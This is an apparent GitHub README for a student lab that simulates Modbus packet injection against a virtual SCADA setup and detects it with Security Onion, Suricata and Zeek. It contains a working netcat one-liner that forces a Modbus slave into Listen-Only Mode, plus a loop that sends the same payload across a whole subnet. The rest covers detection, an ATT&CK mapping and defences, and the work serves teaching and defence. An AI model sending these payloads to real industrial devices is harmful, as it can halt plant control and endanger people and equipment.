DurgaRamireddy/SCADA-Modbus-Attack-Detection-with-Security-Onion

GitHub: DurgaRamireddy/SCADA-Modbus-Attack-Detection-with-Security-Onion

一个模拟SCADA环境Modbus攻击并在Security Onion平台上实现威胁检测的工控安全实验项目,展示了从攻击注入到检测告警的完整流程。

Stars: 0 | Forks: 0

# SCADA Modbus 攻击检测 - 使用 Security Onion 进行 ICS 安全监控 一个实操性的 OT/ICS 安全实验,模拟针对 SCADA 环境的 Modbus 数据包注入攻击,并使用 Security Onion、Suricata、Zeek 和 Wireshark 检测恶意活动——演示核心的工业控制系统威胁检测工作流程。 ## 实验环境 | 系统 | 角色 | |---|---| | Security Onion | 网络监控与 IDS | | Modsak1 | Modbus 从站设备 | | Modsak2 | Modbus 主站控制器 | **网络配置** | 适配器 | 用途 | |---|---| | Host-Only | 所有虚拟机之间的内部 SCADA 网络通信 | | Bridged (仅 Security Onion) | 系统更新和外部访问 | ## Security Onion 配置 Security Onion 被配置为在攻击模拟前监控 SCADA 流量: 1. 访问 Security Onion Web 界面并创建了一个网络传感器 2. 启用 **Suricata** 进行基于特征的入侵检测 3. 启用 **Zeek** 进行深度包检测和协议分析 4. 编写了一条 **自定义 Suricata 规则** 以检测可疑的 Modbus 命令 ## SCADA 通信基线 在发起攻击之前,验证了主站和从站之间的正常 Modbus 通信,以建立干净的基线。 **测试命令:** Report Slave ID (Modbus 功能码 0x11) Wireshark 确认: - Modsak2 → Modsak1 之间通信成功 - Modbus 数据包结构正确 - 记录的十六进制负载值用于攻击模拟参考 ![Modbus Traffic Baseline](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/989f65c9f2031957.png) ## 攻击模拟 ### Modbus 数据包注入 - 只听模式 (Listen-Only Mode) 精心构造了一个恶意 Modbus 数据包,强制从站设备进入 **Listen-Only Mode**,从而禁用其响应并切断 SCADA 通信。 **攻击方法:** 使用 Netcat 配合预定义的十六进制负载,目标端口 502 ``` printf '\x00\x02\x00\x00\x00\x02\x01\x11\x08\x04' | nc 192.168.255.x 502 ``` **结果:** - Modsak1 进入 Listen-Only Mode - 从站停止响应主站控制器 - SCADA 通信完全中断 - Security Onion 记录了恶意流量 ### 自动化子网范围攻击脚本 为了模拟更大规模的 ICS 攻击,该注入过程在整个子网内自动化执行——复制了攻击者扫描暴露的 Modbus 设备的方式: ``` for i in {1..254}; do echo "Attacking 192.168.255.$i" printf '\x00\x02\x00\x00\x00\x02\x01\x11\x08\x04' | nc 192.168.255.$i 502 done ``` Security Onion 日志捕获了子网内的多次注入尝试,展示了协议级 ICS 攻击的潜在规模。 ![Automated Attack Script Execution](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/98e629ad6d032007.png) ## 检测结果 ### Suricata - 自定义规则在检测到恶意 Modbus 功能码时触发 - 为每次注入尝试生成入侵警报 - 子网扫描被标记为重复的异常活动 ### Zeek - 在数据包级别分析工业协议流量 - 记录异常的 Modbus 通信模式 - 记录连接元数据以构建取证时间线 ### Wireshark - 在十六进制级别验证攻击负载结构 - 确认恶意 Modbus 数据包的传输 - 数据包捕获验证了检测准确性 ![Wireshark Packet Analysis](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fa9b146e6d032017.png) ## MITRE ATT&CK for ICS 映射 | 技术 | ID | 证据 | |---|---|---| | Modify Parameter | T0836 | Modbus 命令强制从站进入 Listen-Only Mode | | Network Scanning | T0840 | 自动化子网扫描,遍历端口 502 上的所有 254 台主机 | | Exploitation of Remote Services | T0866 | 从站接受了未经认证的 Modbus 命令 | | Denial of Service | T0814 | 通过 Listen-Only Mode 中断 SCADA 通信 | | Commonly Used Port | T0885 | 攻击通过 Modbus 默认端口 502 传输 | ## 关键漏洞 - 无认证的 Modbus 协议 Modbus **没有内置认证或加密**。网络上的任何设备都可以向 Modbus 从站发送任意功能码——无需凭据。这是本实验利用的根本弱点,也是目前仍在运行 Modbus、DNP3 和类似协议的传统 ICS 环境中存在的系统性问题。 ## 防御建议 | 控制措施 | 目的 | |---|---| | 网络分段 (IT/OT 隔离) | 防止攻击者从企业网络访问 ICS 设备 | | 具备 ICS 感知能力的 IDS (Suricata 自定义规则) | 检测异常的 Modbus 功能码和命令序列 | | 白名单合法的 Modbus 主站 | 阻止来自未授权源 IP 的命令 | | 协议级监控 (Zeek) | 记录所有 Modbus 流量用于异常检测和取证 | | 禁用未使用的 Modbus 功能码 | 在设备配置级别减少攻击面 | | 部署 Modbus 防火墙 / 协议网关 | 在数据包到达从站设备前强制执行命令验证 | ## 挑战与解决方案 | 问题 | 解决方案 | |---|---| | `No Route to Host` 错误 | 确认所有虚拟机处于 Host-Only 模式,重启网络服务 | | Security Onion 未捕获 Modbus 流量 | 确认监控接口正确,重启传感器 | | Suricata 警报未触发 | 调整检测阈值,重放攻击流量以进行验证 | ## 核心要点 Modbus 等传统 ICS 协议是为隔离环境中的可靠性而设计的——并非为了联网环境中的安全性。缺乏认证意味着网络上的任何设备都可以发出命令,对工业设备拥有完全的权限。本实验表明,即使使用 Security Onion 等开源工具进行基本的网络监控也能暴露这些攻击,但预防需要分段和协议级控制,而不仅仅是检测。 ## 展示技能 `ICS/OT Security` `SCADA Monitoring` `Modbus Protocol Analysis` `Security Onion Deployment` `Custom Suricata Rule Creation` `Zeek Network Analysis` `Wireshark Packet Inspection` `Bash Scripting` `MITRE ATT&CK for ICS` `Incident Detection` **作者:** Durga Sai Sri Ramireddy | 休斯顿大学 网络安全硕士 [![LinkedIn](https://img.shields.io/badge/-LinkedIn-0072b1?style=flat&logo=linkedin&logoColor=white)](https://linkedin.com/in/durga-ramireddy) [![GitHub](https://img.shields.io/badge/-GitHub-181717?style=flat&logo=github&logoColor=white)](https://github.com/DurgaRamireddy)
标签:AMSI绕过, HTTP/HTTPS抓包, ICS安全, Metaprompt, MITRE ATT&CK ICS, Modbus协议, Netcat, OT安全, PKINIT, Rootkit, SCADA安全, Security Onion, Suricata规则, Wireshark抓包, Zeek, 协议模糊测试, 威胁检测, 工业网络监控, 工控安全, 应用安全, 态势感知, 拒绝服务, 数据包注入, 欺骗攻击, 深度包检测, 网络安全分析, 网络安全实验室